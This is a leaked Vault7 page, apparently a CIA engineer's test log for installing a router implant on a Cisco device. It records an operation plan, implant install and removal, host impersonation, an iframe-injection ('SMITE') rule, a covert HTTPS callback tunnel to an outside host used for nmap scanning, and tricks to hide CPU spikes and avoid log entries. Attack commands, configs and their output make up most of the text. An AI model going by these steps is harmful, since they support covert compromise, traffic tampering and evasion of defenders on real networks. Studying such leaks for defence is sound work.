Vault7: CIA Hacking Tools Revealed
 
Navigation: » Latest version
Owner: User #71467
Cytolysis-1h HG v3.1.6 Delivery
HG v3.1.6 was delivered for Cytolysis on 1/12/16 for SUP720. Testing scope will include ACE, SMITE and Tunnel.
CONOP will be:
- Hop through 3 flux nodes - 1 internet, 1 osmo subnet, 1 admin mgmt subnet - and IACInternational Access Code attack VLANVirtual Local Area Network 1 IP of target - XXX.XXX.X.XXX (TOPWAY-NET[CN])
- Trigger port will be UDPUser Datagram Protocol 161, host to impersonate will be explicitly set to a host not on VLANVirtual Local Area Network 10 or VLANVirtual Local Area Network 2
- Establish CTCounter Terrorism session over HTTPSHypertext Transfer Protocol Secure back through flux node 4
- Use ACEApplication Control Engine (Module) commands to verify state of the device
- Use socket get_arp_survey_data and output of "show ip nat trans" to survey traffic from VLANVirtual Local Area Network 19
- SMITE hosts on target customer network - VLANVirtual Local Area Network 19
- Use Tunnel to appear as if Operator is on VLANVirtual Local Area Network other than VLANVirtual Local Area Network 19 or VLANVirtual Local Area Network 2, and from there, nmap VLANVirtual Local Area Network 19.
Testing Summary
- Note in test report that module 2 is in state PwrDown and should be verified before proceeding
- Trigger packets that go through the target due to HG trigger sequence mis match will be caught and logged by outbound customer ACLs potentially - we will trigger to IP of device on port UDPUser Datagram Protocol 161. If trigger packets have incorrect sequence number, an encoding error will increment as shown in output of "show snmp".
- Comms packets are SSLv3 - need to consider if this is noticeable on this network
- Hardware difference between test device and target - daughter card on 4 port 10G line card. This hardware difference has been accepted.
- 5 sec CPU spikes to 45-65% during IACInternational Access Code attack, spike to 27% during HG install
- HG Consumes ~3.5M of Memory, visible in output out show mem
- Operator must manually start CovertTunnel module to use the tunnel capability
- Assists cause observeable in ouput of show ip cef <IP> - this is a known issue.
- Observed the following print even without HG installed when using Windex to exploit a target client:
 Jan 20 00:39:05.284 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1132) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 1 packet
- Tunnel - Given the sensitivity to sending trigger packets with incorrect sequence number on this op, recommend using tun init to establish CovertTunnel instead of trigger.
- Tunnel - When running nmap or otherwise targeting VLANVirtual Local Area Network 19 from TAPVirtual Network kernel device IP, EXCLUDE 10.11.0.1 (VLANVirtual Local Area Network 19 interface IP) as this will result in acl denied log prints to console for this traffic.
Testing Notes
- 
Install 
 -Memory at start of test:
 cytolysis-1#show mem
 Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
 Processor 453ACAF0 381990160 101796608 280193552 276504440 218810732
 I/O 8000000 67108864 13902404 53206460 53130184 53130428-attacked with IACInternational Access Code via flux 
 -CPU hit a peak of 56% during IACInternational Access Code attack
 -Uploaded HG - show mem after install
 cytolysis-1#show mem
 Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
 Processor 453ACAF0 381990160 105273148 276717012 275964416 216779752
 I/O 8000000 67108864 13902404 53206460 53130184 53130428CPU hit one peak of 15% during install 
 Used an interpacket delay of .1 for remote
 -Seeds traffic has been running
 -Established CTCounter Terrorism session impersonating XXX.XXX.X.XX (TOPWAY-NET[CN])
 -success! confirmed that XXX.XXX.X.XX (TOPWAY-NET[CN]) can still browse
 [XXX.XXX.X.XX (TOPWAY-NET[CN])]> packet get_assist_threshold_status
 [Success]
 Maximum Packets Per Second: 1500
 Number of Packets Counted Per Sample: 3000
 Highest Observed Packets Per Second: 173
 Number of Overflows Since Settings Last Changed: 0
 Time of Last Overflow: --
 ************ Success ************
 [packet get_assist_threshold_status]
 -no log messages or snmp traps observed, cpu normal
 *will want to impersonate a host that is not very busy, since an assist will be laid down for that host
 cytolysis-1#show ip cef XXX.XXX.X.XX (TOPWAY-NET[CN])
 XXX.XXX.X.XX (TOPWAY-NET[CN])/32
 receive
 cytolysis-1#
 -Quit the CTCounter Terrorism session and confirmed that after about 10 seconds, the RAA dropped:
 cytolysis-1#show ip cef XXX.XXX.X.XX (TOPWAY-NET[CN])
 XXX.XXX.X.XX (TOPWAY-NET[CN])/32
 attached to Vlan3
 cytolysis-1#
- Uninstall-Re-established CTCounter Terrorism session, this time impersonating XXX.XXX.X.XX (TOPWAY-NET[CN]). No seeds currently running on that host. 
 -Entered device uninstall-hg -mp -f to uninstall HG
 -no syslog or snmp trap observed
 -CPU from device after uninstall
 cytolysis-1# show proc cpu hist
 22222 44444 1111144444
 100
 90
 80
 70
 60
 50
 40
 30
 20
 10
 0....5....1....1....2....2....3....3....4....4....5....5....
 0 5 0 5 0 5 0 5 0 5
 CPU% per second (last 60 seconds)1 1 1 1 1 1 1 
 0565955565466568566596566691570777976644965686666586545555
 100
 90
 80
 70
 60
 50
 40
 30
 20 * * *
 10 ************************************** ************* ****
 0....5....1....1....2....2....3....3....4....4....5....5....
 0 5 0 5 0 5 0 5 0 5
 CPU% per minute (last 60 minutes)
 * = maximum CPU% # = average CPU%521121211212212111212222211242112111211112122 
 606719379081263898081510099121890987289981916
 100
 90
 80
 70
 60 *
 50 *
 40 * *
 30 * * * *
 20 *********************************************
 10 *********************************************
 0....5....1....1....2....2....3....3....4....4....5....5....6....6....7.
 0 5 0 5 0 5 0 5 0 5 0 5 0
 CPU% per hour (last 72 hours)
 * = maximum CPU% # = average CPU%cytolysis-1# 
 cytolysis-1#show mem
 Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
 Processor 453ACAF0 381990160 101863176 280126984 275964416 218810732
 I/O 8000000 67108864 13902404 53206460 53130184 53130428
 RAA for impsonated host from CTCounter Terrorism session has dropped
 cytolysis-1#show ip cef XXX.XXX.X.XX (TOPWAY-NET[CN])
 XXX.XXX.X.XX (TOPWAY-NET[CN])/32
 attached to Vlan3
 cytolysis-1#
- 
Modularity -Reloaded DUTDevice Under Test to start with a clean device 
 -Flux nodes up, Seeds running on VLANVirtual Local Area Network 19
 -IAC attacked and uploaded HG
 -Established CTCounter Terrorism connection with XXX.XXX.X.XX (TOPWAY-NET[CN]) as impersonated host, no punch-throughs of traffic to impersonated host
 -Confirmed that impersonated host is still able to browse, did not observe any syslogs or traps sent by DUT
 -Stop/Start/Restarted ACEApplication Control Engine (Module) module - verified functionality after each start
 -Testing FB modularity and functionality with smite. Started up Victim3 VMVirtual Machine and web browsed with no rules active and saw the following print:
 Jan 19 19:03:08.193 C6506: %SEC-6-IPACCESSLOGP: list Core-Net-filter-in denied tcp X.X.X.XX (LVLT-GOGL-8-8-8[US])(80) (Vlan2 0015.fa80.efbf) -> 10.11.0.13(2213), 1 packetC
 - Added a rule for SMITE and saw the following
 cytolysis-1#show ip cef 10.11.0.13
 10.11.0.13/32
 attached to Vlan19
 cytolysis-1#
 Jan 19 19:09:02.877 C6506: %SEC-6-IPACCESSLOGP: list Core-Net-filter-in denied tcp X.X.X.XX (LVLT-GOGL-8-8-8[US])(80) (Vlan2 0015.fa80.efbf) -> 10.11.0.13(2213), 6 packets
 -successfully SMITE'd 3 more times with no prints
 -restarting FB
 -no rules active, browsed from victim, cleared cache and went to all 3 web servers 10x, no prints
 -activated SMITE rule and ran 7 times - then saw the following prints:Jan 19 20:02:55.049 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1041) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 1 packet 
 Jan 19 20:08:04.769 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1041) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 7 packets
 Jan 19 20:09:04.801 C6506: %SEC-6-IPACCESSLOGP: list Core-Net-filter-in denied udp 10.9.8.22(137) (Vlan2 0021.d80d.cfc1) -> XXX.XXX.X.XX (TOPWAY-NET[CN])(137), 3 packets
 Jan 19 20:13:04.929 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1041) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 2 packets
 Jan 19 20:18:05.093 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1041) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 3 packetsC
- Testing SMITE- Starting over with Debian 8.2. Installed ICON on TR, setup flux, cleaned DUT
- Restarted Victim 3 - web browsed 15 times to all three web servers and observed no prints
- Web browsed directly to iframe url 15 times and observed no prints
- Attacked with IACInternational Access Code and uploaded HG from new ICON 8.2 VMVirtual Machine - impersonating XXX.XXX.X.XX (TOPWAY-NET[CN])
- Restarted victim 3. web browsed 15 times to all three web servers - no prints observed
- Web browsed directly to iframe url 15 times in a row - after the 10th try, observed the following:cytolysis-1# 
 Jan 20 00:39:05.284 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1132) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 1 packet
- cytolysis-1#show access-list Customer-2-filter-in 
 Extended IP access list Customer-2-filter-in
 10 permit tcp 10.11.0.0 0.0.0.255 host XXX.XXX.X.XX (TOPWAY-NET[CN]) eq 123
 20 permit udp 10.11.0.0 0.0.0.255 host XXX.XXX.X.XX (TOPWAY-NET[CN]) eq ntp
 30 permit icmp any host 10.11.0.1 (5870 matches)
 40 deny ip any 10.11.0.0 0.0.0.255 log-input
 50 permit icmp any host XXX.XXX.X.XX (TOPWAY-NET[CN])
 60 permit icmp any host XXX.XXX.X.XXX (TOPWAY-NET[CN])
 70 permit icmp any host XXX.XXX.X.XX (TOPWAY-NET[CN])
 80 permit icmp any host XXX.XXX.X.XXX (TOPWAY-NET[CN])
 90 deny ip any host XXX.XXX.X.XX (TOPWAY-NET[CN]) log-input
 100 deny ip any XXX.XXX.X.XX (TOPWAY-NET[CN]) 0.0.0.31 log-input
 110 deny ip any host XXX.XXX.X.XX (TOPWAY-NET[CN]) log-input
 120 deny ip any host XXX.XXX.X.XXX (TOPWAY-NET[CN]) log-input
 130 permit tcp 10.11.0.0 0.0.0.255 any eq smtp log-input
 140 permit tcp 10.11.0.0 0.0.0.255 any eq 135 log-input
 150 permit tcp 10.11.0.0 0.0.0.255 any eq 137 log-input
 160 permit tcp 10.11.0.0 0.0.0.255 any eq 139 log-input
 170 permit ip 10.11.0.0 0.0.0.255 any (22022 matches)
 180 deny ip any any log-input (1 match)
 cytolysis-1#
 
- Characterization of print observed while browsing to windex server- Collecting VLANVirtual Local Area Network 19 packet capture during print message
- set logging interval and threshold on DUTDevice Under Test so that logs will be seen immediately
- Set up span port for vlan 2 and vlan 19 on DUTDevice Under Test and collecting on the DC from g1/1
- Stopped the seeds traffic from cust2 to minimize output in wireshark
- Ran manual browses from target client to iframe url - took about ten tries, but I got the print and saved off the information that xetron had requested.
- Wiping HG, reload DUT, reload target. Going to confirm once more that I really never get this print without HG by trying more times.
- Performed 30 browses to iframe url and no print. Also browsed at least 30 times to other three web servers, no print
- Added HG, still no seeds, no CTCounter Terrorism session.  Repeating step g.  Observed print on the 24th iteration:Jan 22 00:22:01.499 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1262) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 1 packet 
- Going to see if this occurs more during SMITE rule 
- Established CTCounter Terrorism session and created smite rule:mitm create http_iframe 10.11.0.13 255.255.255.255 0 0 X.X.X.XX (LVLT-GOGL-8-8-8[US]) 255.255.255.255 80 80 "http://X.X.X.XX (LVLT-GOGL-8-8-8[US]):8888/?promo_code=1Z45RDJ" -bk -bc -en 
- Observed prints with SMITE rule active as well at about the same rate 
- Uninstalled and rebooted DUT
- Installed original version of delivery 3.1.5.
- Also working in installing newest version of windex in TR
- Was able to browse to iframe url 30 times from client wiht v3.1.5 and saw no prints. however overnight, i had left the browser window open and windex session connected and at 4am, the router did log some messages:
- Jan 22 04:42:37.120 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1122) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 1 packet 
 Jan 22 04:42:37.120 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.X.XX (TOPWAY-NET[CN])(1122) (Vlan19 0050.5688.c5e6) -> X.X.X.XX (LVLT-GOGL-8-8-8[US])(7777), 1 packet
 Jan 22 04:42:50.120 C6506: %SEC-6-IPACCESSLOGP: list Core-Net-filter-in denied udp 10.9.8.22(137) (Vlan2 0021.d80d.cfc1) -> XXX.XXX.X.XX (TOPWAY-NET[CN])(137), 1 packet
 Jan 22 04:42:51.636 C6506: %SEC-6-IPACCESSLOGP: list Core-Net-filter-in denied udp 10.9.8.22(137) (Vlan2 0021.d80d.cfc1) -> XXX.XXX.X.XX (TOPWAY-NET[CN])(137), 1 packet
- After attempting another 30 times without HG, I did reproduce the error message without HG. This may just be a Windex/IOS NATNetwork Address Translation issue. Hopefully this issue will be resolved in the newer version of Windex.
 
- Testing Modularity- Reloaded DUT
- CPU spike to 66% during IACInternational Access Code attack, 27% duing IACInternational Access Code install, 11% duing CTCounter Terrorism session establishment
- Already tested FB and ACEApplication Control Engine (Module) in previous test 3
- Testing Tunnel - Note that Tunnel module is not started by default. Operator will have to start Tunnel module with "module start CovertTunnel.mod" command
- Started tunnel mod. Then stopped it with module stop Tunnel. Repeated three more times.
- Was unable to restart it at first, but after enough time passed and i entered ilm refresh, it did restart successfully. no syslogs or traps observed, no impact to CPU.
 
- HTTPS Comms testing- Testing the functionality of impersonating different hosts- impersonated XXX.XXX.X.XX (TOPWAY-NET[CN]) - successful connection. RAA laid down. Confirmed that host is still able to browse. No syslogs or traps.
- Exited that session and impersonated another host - XXX.XXX.X.XX (TOPWAY-NET[CN]) - this IP is on the VLANVirtual Local Area Network interface - vlan 3 for customer 1. Successfully connected, rx adj in place for .81, however it is always in place. Can ping from router to 1.1.1.1 with source address of XXX.XXX.X.XX (TOPWAY-NET[CN]). Packet assist threshold not increasing with small amount of traffic.
- Collected wireshark of HTTPSHypertext Transfer Protocol Secure comms establishment
- Tested impersonation of a host on a different vlan - tried vlan 2 10.11.0.10 although this is not recommeded - cx successful and was still able to browse from 10.11.0.10.  Observed these prints thoughJan 29 00:48:33.410 C6506: %SEC-6-IPACCESSLOGP: list Core-Net-filter-in denied tcp 100.100.40.3(80) (Vlan2 0021.d80d.cfc1) -> 10.11.0.10(36901), 1 packet 
 Jan 29 00:48:34.410 C6506: %SEC-6-IPACCESSLOGP: list Core-Net-filter-in denied tcp 100.100.40.3(80) (Vlan2 0021.d80d.cfc1) -> 10.11.0.10(36901), 1 packet
- Tested XXX.XXX.X.XX (TOPWAY-NET[CN]) - a non existent host - cx successful as long as the IP was routed back to the device through the network properly 
- No prints or traps observed duirng cx
- Tested connecting impersonating host on vlan 48 - success - still able to browse from impersonated host, no logs or traps. Assist was laid down and then dropped when CTCounter Terrorism was disconnected.
- Testing sending wrong trigger sequence - current seq is 21- Set to 18 and impersonated XXX.XXX.X.XX (TOPWAY-NET[CN]) while running wireshark on impersonated host
- Impersonated host saw no traffic, no logs, traps were sent by DUT. As expected, encoding errors incremented on output of show snmp.
- Enabled snmp packet debugging and tested with wrong seq number again - router reports: 
 Jan 29 02:18:55.885 C6506: SNMP: Packet received via UDPUser Datagram Protocol from XXX.XXX.X.XX (TOPWAY-NET[CN]) on Vlan1
- Router does not see the snmp packet in debug output if sequence number is correct.
 
 
 
- Testing the functionality of impersonating different hosts
- Testing socket get arp survey- Ran command to view arp survey data[XXX.XXX.X.XX (TOPWAY-NET[CN])]> socket get_arp_survey_data 
 [Success]
 Vlan: 0
 Sender Protocol Address Sender Hardware Address Target Protocol Address Time Last Updated
 10.11.0.10 00:50:56:88:5e:52 10.11.0.1 2016-01-28T22:23:29Z
 XXX.XXX.X.XX (TOPWAY-NET[CN]) 00:50:56:88:3c:e4 XXX.XXX.X.XX (TOPWAY-NET[CN]) 2016-01-28T22:11:58Z
 XXX.XXX.XX.XXX (TOPWAY-NET[CN]) 00:50:56:88:b0:96 XXX.XXX.XX.XXX (TOPWAY-NET[CN]) 2016-01-28T22:02:57Z
 ************ Success ************
 [socket get_arp_survey_data][XXX.XXX.X.XX (TOPWAY-NET[CN])]> 
- 
Cleared arp survey data and then checked again [XXX.XXX.X.XX (TOPWAY-NET[CN])]> socket get_arp_survey_data 
 [Success]
 Vlan: 0
 Sender Protocol Address Sender Hardware Address Target Protocol Address Time Last Updated
 10.11.0.10 00:50:56:88:5e:52 10.11.0.1 2016-01-28T22:24:09Z
 ************ Success ************
 [socket get_arp_survey_data][XXX.XXX.X.XX (TOPWAY-NET[CN])]> 
- Ran IXIA traffic and checked again[XXX.XXX.X.XX (TOPWAY-NET[CN])]> socket get_arp_survey_data 
 [Success]
 Vlan: 0
 Sender Protocol Address Sender Hardware Address Target Protocol Address Time Last Updated
 10.11.0.10 00:50:56:88:5e:52 10.11.0.1 2016-01-28T22:43:43Z
 10.11.0.59 02:1a:c5:05:00:1b 10.11.0.1 2016-01-28T22:36:58Z
 XXX.XXX.X.XX (TOPWAY-NET[CN]) 00:50:56:88:e1:dd XXX.XXX.X.XX (TOPWAY-NET[CN]) 2016-01-28T22:36:58Z
 XXX.XXX.X.XX (TOPWAY-NET[CN]) 02:1a:c5:04:00:16 XXX.XXX.X.XX (TOPWAY-NET[CN]) 2016-01-28T22:36:58Z
 10.11.0.51 02:1a:c5:05:00:13 10.11.0.1 2016-01-28T22:32:00Z
 XXX.XXX.X.XX (TOPWAY-NET[CN]) 02:1a:c5:04:00:18 XXX.XXX.X.XX (TOPWAY-NET[CN]) 2016-01-28T22:32:00Z
 XXX.XXX.XX.XXX (TOPWAY-NET[CN]) 00:50:56:88:b0:96 XXX.XXX.XX.XXX (TOPWAY-NET[CN]) 2016-01-28T22:24:44Z
 ************ Success ************
 [socket get_arp_survey_data][XXX.XXX.X.XX (TOPWAY-NET[CN])]> 
- Not as many as I'd thought, however this delivery doesn't snoop. Cleared and then viewed data while IXIA was running three times. 
 
- Ran command to view arp survey data
- Test of ACE- Created over 25k NATNetwork Address Translation translations, IXIA traffic running in background. DUT clean.
- Stats before implantation: 
 cytolysis-1#show proc cpu
 CPU utilization for five seconds: 1%/0%; one minute: 2%; five minutes: 3%cytolysis-1#show ip nat stat 
 Total active translations: 23629 (0 static, 23629 dynamic; 23629 extended)
 Outside interfaces:
 Vlan2
 Inside interfaces:
 Vlan19
 Hits: 498132 Misses: 0
 CEF Translated packets: 408030, CEF Punted packets: 333224
 Expired translations: 58242
 Dynamic mappings:
 -- Inside Source
 [Id: 1] access-list 19 pool Customer-2 refcount 23629
 pool Customer-2: netmask 255.255.255.252
 start XXX.XXX.X.XX (TOPWAY-NET[CN]) end XXX.XXX.X.XX (TOPWAY-NET[CN])
 type generic, total addresses 1, allocated 1 (100%), misses 0
 longest chain in pool: Customer-2's addr-hash: 1, average len 0,chains 1/256
 cytolysis-1#cytolysis-1#show mem 
 Head Total(b) Used(b) Free(b) Lowest(b) Largest(b)
 Processor 453A9990 382002800 146287016 235715784 223944216 185187724
- IAC attack - cpu spike to 45%. Uploaded HG - CPU spike to 22%.
- Established CTCounter Terrorism session, impersonated host XXX.XXX.XX.XXX (TOPWAY-NET[CN]).
- Executed all of the commands listed as planned for use on CONOPConcealed Operation confluence page.
- No traps observed. show ip nat trans with 25k translations showed a spike in 5 second CPU. This could be masked by briefly enabling cpu scaling.
- Tested enabled cpu scaling for bounds of 10 and 20. Spike was successfully suppressed in show proc cpu hist.
- Performing show commands with ? mark returns the options for completing the command as well as the output from hitting return after the command
- Ran a show tech through ace and it worked just fine - 5 sec CPU spiked to 66%.
 
- Tunnel Test- Hard reset device - then loaded HG on.
- Established CTCounter Terrorism session impersonating XXX.XXX.X.XX (TOPWAY-NET[CN]) and then set up a Tunnel with TAPVirtual Network kernel device IP XXX.XXX.XX.XXX (TOPWAY-NET[CN]).
- Started CovertTunnel.mod
- Modified callback and endpoint files.  Endpoint file set to listen on fw0, left seq at 0, use port 443 for HTTPSHypertext Transfer Protocol Secure comms.  Callback file set to use TAPVirtual Network kernel device IP:TapIPAddr = XXX.XXX.XX.XXX (TOPWAY-NET[CN]) 
 TapSubnet = 255.255.255.248
 TapMACAddr = 00:01:44:27:78:3a
 Timeout = 0
 AllowARP = 1
 Protocol = CommsH
 VLAN = 48
- 
and callback to: [OpenSession_HTTPS] 
 Remote = XXX.XXX.X.X (QWEST-INET-6[US])
 Port = 443
 Critical = 0
- and impersonate:[IParams] 
 IPAddress = XXX.XXX.X.XX (TOPWAY-NET[CN])
 SubnetMask = 255.255.255.240
 MACAddress = 00:1d:71:1f:88:7e
 TTL = 64
 VLAN = 3
- Initiated callback from CTCounter Terrorism session:[XXX.XXX.X.XX (TOPWAY-NET[CN])]> tun init tools/dualor/config/dualor-callback.ini 
 [Pending]
 Job: 136282824
 ************ Pending ************
 [tun init tools/dualor/config/dualor-callback.ini][XXX.XXX.X.XX (TOPWAY-NET[CN])]> [Success] 
 Job: 136282824
 ************ Success ************[XXX.XXX.X.XX (TOPWAY-NET[CN])]> 
- 
Tunnel successfully established: Listening for clients on port 443... 
 Accepted connection from XXX.XXX.X.XX (TOPWAY-NET[CN]):8729
 Attempting SSLSecure Socket Layer Handshake...
 SSL Handshake Successful!
 Throttling tunnel connection with the parameters:
 Outbound Average Rate: 100 packets/sec
 Outbound Peak Burst Rate: 200 packets/sec
 Performing key exchange with the tunnel endpoint...
 Successfully performed key exchange with the tunnel endpoint!
 Connected with device UID: 001121b9fbb8
 Opened the TAPVirtual Network kernel device interface tap0
 Setting the tap0 interface status to downtap0 Interface Parameters: 
 IP Address: XXX.XXX.XX.XXX (TOPWAY-NET[CN])
 Subnet Mask: 255.255.255.248
 MACApple Operating System Address: 00-01-44-27-78-3aSetting the tap0 interface status to up 
 Tunnel is now active
- TAP interface now active on ICON:tap0 Link encap:Ethernet HWaddr 00:01:44:27:78:3a 
 inet addr:XXX.XXX.XX.XXX (TOPWAY-NET[CN]) Bcast:XXX.XXX.XX.XXX (TOPWAY-NET[CN]) Mask:255.255.255.248
 UP BROADCAST RUNNING MTU:1500 Metric:1
 RX packets:0 errors:0 dropped:0 overruns:0 frame:0
 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
 collisions:0 txqueuelen:500
 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
- Added route for network I want to reach: 
- root@debian:/home/user1/ops/cytolysis/cytolysis-1h/hg/tools/dualor/config# route add -net 10.11.0.0/24 dev tap0 
 root@debian:/home/user1/ops/cytolysis/cytolysis-1h/hg/tools/dualor/config# route -n
 Kernel IP routing table
 Destination Gateway Genmask Flags Metric Ref Use Iface
 0.0.0.0 172.20.12.1 0.0.0.0 UG 0 0 0 eth0
 10.11.0.0 0.0.0.0 255.255.255.0 U 0 0 0 tap0
 XXX.XXX.X.X (TOPWAY-NET[CN]) 192.168.88.1 255.255.0.0 UG 0 0 0 fw0
 XXX.XXX.X.XX (TOPWAY-NET[CN]) 192.168.88.1 255.255.255.255 UGH 0 0 0 fw0
 XXX.XXX.X.XX (TOPWAY-NET[CN]) 192.168.88.1 255.255.255.255 UGH 0 0 0 fw0
 XXX.XXX.XX.XXX (TOPWAY-NET[CN]) 0.0.0.0 255.255.255.248 U 0 0 0 tap0
 172.20.12.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0
 192.168.88.1 0.0.0.0 255.255.255.255 UH 0 0 0 fw0
 root@debian:/home/user1/ops/cytolysis/cytolysis-1h/hg/tools/dualor/config#
- Attempted to nmap hosts on 10.11.0.0/24 network but was not able to. I was able to successfully ping and ssh into hosts on that subnet. While watching traffic with wireshark on both the ICON and Target vm, i saw that when nmap runs, wireshark shows two arp requests for who has 10.11.0.10 and then shows duplicate MACApple Operating System address in use for XXX.XXX.XX.XXX (TOPWAY-NET[CN]) (TAPVirtual Network kernel device IP). The two MACs reported are the TAPVirtual Network kernel device IP MACApple Operating System as well as the MACApple Operating System of interface vlan 2 and IP XXX.XXX.X.XX (TOPWAY-NET[CN]) on the DUT. 
- Tried making my flux routes more specific so that the routes wouldn't overlap with TAPVirtual Network kernel device routes - did not fix issue.
- Closed tunnel, changed callback.ini file Allow ARPAddress Resolution Protocol variable to 0 and then re-initiated tunnel.  This did fix the issue.  oot@debian:/home/user1/ops/cytolysis/cytolysis-1h/hg/tools/dualor/config# nmap -Pnv 10.11.0.10 Starting Nmap 6.47 ( http://nmap.org ) at 2016-01-31 17:45 UTC 
 Nmap scan report for 10.11.0.10
 Host is up (0.26s latency).
 Not shown: 999 closed ports
 PORT STATE SERVICE
 22/tcp open ssh
 MAC Address: AA:BB:CC:DD:EE:FF (Unknown)Nmap done: 1 IP address (1 host up) scanned in 30.07 seconds 
 root@debian:/home/user1/ops/cytolysis/cytolysis-1h/hg/tools/dualor/config#
- No prints were observed on console of router throughout. 
- Still able to ssh and ping host as well. Attempting a more extensive nmap...
- Getting prints on nmap traffic to VLANVirtual Local Area Network 2 IP address 10.11.0.1. Need to repeat and exclude that IP.
- Example of print to .1Jan 31 22:42:33.743 C6506: %SEC-6-IPACCESSLOGP: list Customer-2-filter-in denied tcp XXX.XXX.XX.XXX (TOPWAY-NET[CN])(46097) (Vlan19 0019.a993.3440) -> 10.11.0.1(2038), 1 packet 
- Do not see that print as long as that IP is excluded. Nmaps generate a lot of ARPAddress Resolution Protocol traffic for non-existent hosts on the network, seen on wireshark running on an existing host. 
- Testing what happens when TAPVirtual Network kernel device IP becomes active on the network.  Changed the IP of XXX.XX.XX.XXX (CMNET[CN]) to XXX.XX.XX.XXX (CMNET[CN]) - Tunnel closed immediately:Tunnel is now active 
 Shutting down tunnel: Client became active on the networkClosing Dualor 
 Closed the TAPVirtual Network kernel device interface tap0
- No prints observed. Changed IP back to .130 and then re-established the tunnel with tap ip .131 
- Repeated the tunnel dropping due to TAPVirtual Network kernel device ip active on the network while nmap scan was running... resulted in prints to console because ICON box (1918 space) is now routing nmap traffic directly to the DUTDevice Under Test instead of going through tunnel, and this traffic is denied by acl:Jan 31 23:21:27.719 C6506: %SEC-6-IPACCESSLOGDP: list Core-Net-filter-in denied icmp 172.20.12.1 (Vlan2 0021.d80d.cfc1) -> XXX.XXX.XX.XXX (TOPWAY-NET[CN]) (3/1), 1 packet 
- No other prints observed, no traps observed. CPU impact - 5 second spikes to 16% during tunnel establishment. After that CPU remains low.
- Testing CTCounter Terrorism tunnel show commands:[XXX.XXX.X.XX (TOPWAY-NET[CN])]> tun show 
 [Success]
 Tunnel Sessions
 Session ID: TAPVirtual Network kernel device IP Address: Endpoint: State:
 4 XXX.XXX.XX.XXX (TOPWAY-NET[CN]) XXX.XXX.X.X (QWEST-INET-6[US]):443 Running
 Tunnel Listeners
 Listener ID: TAPVirtual Network kernel device IP Address:
 ************ Success ************
 [tun show][XXX.XXX.X.XX (TOPWAY-NET[CN])]> 
- 
[XXX.XXX.X.XX (TOPWAY-NET[CN])]> tun session 4 
 [Success]
 Session ID: 4
 State: Running
 Allow ARPAddress Resolution Protocol Requests: No
 Timeout: 0d 0h 0m 0s
 Duration: 0d 20h 31m 3s
 Time Left: 0d 0h 0m 0s
 Time Until Init: --
 TAPVirtual Network kernel device IP Address: XXX.XXX.XX.XXX (TOPWAY-NET[CN])
 TAPVirtual Network kernel device MACApple Operating System Address: 00:01:44:27:78:3a
 Endpoint Address: XXX.XXX.X.X (QWEST-INET-6[US]):443
 Critical: No
 ************ Success ************
 [tun session 4][XXX.XXX.X.XX (TOPWAY-NET[CN])]> 
- Closed and reinitated tunnel - SUCCESS
- Closed and reinitated tunnel with a 2s minute timeout value - tunnel closed after 2s
- Tunnel is now active 
 Shutting down tunnel: Tunnel has timed out
- Initated tunnel with 2m timeout - ssh'd into .10 and waited 2 m - SUCCESS[XXX.XXX.X.XX (TOPWAY-NET[CN])]> tun session 7 
 [Success]
 Session ID: 7
 State: Running
 Allow ARPAddress Resolution Protocol Requests: No
 Timeout: 0d 0h 2m 0s
 Duration: 0d 0h 1m 55s
 Time Left: 0d 0h 0m 4s
 Time Until Init: --
 TAPVirtual Network kernel device IP Address: XXX.XXX.XX.XXX (TOPWAY-NET[CN])
 TAPVirtual Network kernel device MACApple Operating System Address: 00:01:44:27:78:3a
 Endpoint Address: XXX.XXX.X.X (QWEST-INET-6[US]):443
 Critical: No
 ************ Success ************
 [tun session 7]
- 
Triggered a tunnel instead of using tun init - changed the sequence number to 2 to match output from beacon get_current_trigger_seq 
- 
root@debian:/home/user1/ops/cytolysis/cytolysis-1h/hg/tools/dualor/linux# ./Dualor ../config/dualor-endpoint.ini -t ../config/dualor-callback.ini 
 Dualor Version 1.0.5
 Unable to open certificate file ./Cert.bin. Will build one...Listening for clients on port 443... 
 Sending Trigger Packet...
 Trigger was successful!
 Accepted connection from XXX.XXX.X.XX (TOPWAY-NET[CN]):21193
 Attempting SSLSecure Socket Layer Handshake...
 SSL Handshake Successful!
 Throttling tunnel connection with the parameters:
 Outbound Average Rate: 100 packets/sec
 Outbound Peak Burst Rate: 200 packets/sec
 Performing key exchange with the tunnel endpoint...
 Successfully performed key exchange with the tunnel endpoint!
 Connected with device UID: 001121b9fbb8
